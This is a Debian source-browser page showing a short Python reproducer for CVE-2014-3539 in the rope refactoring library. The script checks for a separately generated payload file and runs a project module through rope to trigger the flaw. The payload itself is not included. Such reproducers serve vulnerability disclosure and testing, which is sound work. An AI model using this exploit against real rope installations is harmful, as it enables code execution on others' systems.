File: CVE-2014-3539.py

package info (click to toggle)
rope 0.10.3-1
  • links: PTS, VCS
  • area: main
  • in suites: stretch
  • size: 1,748 kB
  • ctags: 4,218
  • sloc: python: 25,494; sh: 8; makefile: 3
file content (18 lines) | stat: -rw-r--r-- 430 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# CVE-2014-3539 reproducer/exploit
# Vasyl Kaigorodov <vkaigoro@redhat.com>
# Tested on Python 2.7.x

import sys
from rope.base import project

try:
    open('payload.txt', 'r')
except IOError:
    print("payload.txt not found, run:")
    print("\tpython generate_payload.py")
    sys.exit(1)

myproject = project.Project('project/')
res = myproject.get_resource("hello.py")
myproject.pycore.run_module(res)